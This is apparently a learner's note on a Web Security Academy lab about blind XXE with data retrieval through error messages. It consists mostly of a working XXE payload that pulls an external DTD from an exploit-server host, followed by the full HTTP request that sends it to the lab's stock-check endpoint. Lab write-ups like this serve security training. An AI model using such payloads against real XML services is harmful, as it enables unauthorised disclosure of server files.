Exploiting blind XXE to retrieve data via error messages.txt

Exploiting blind XXE to retrieve data via error messages

The solution provided is great.

Payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://aca91f171ed40d67804b10b601ea0098.web-security-academy.net/exploit"> %xxe;]> <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Request:
POST /product/stock HTTP/1.1
Host: ac831f851ee10def8001107b00e70010.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://ac831f851ee10def8001107b00e70010.web-security-academy.net/product?productId=1
Content-Type: application/xml
Origin: https://ac831f851ee10def8001107b00e70010.web-security-academy.net
Content-Length: 229
Connection: close
Cookie: session=0c1ubr6rSSMcs0nrQvALdkNBTarYyKsn

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://aca91f171ed40d67804b10b601ea0098.web-security-academy.net/exploit"> %xxe;]> <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>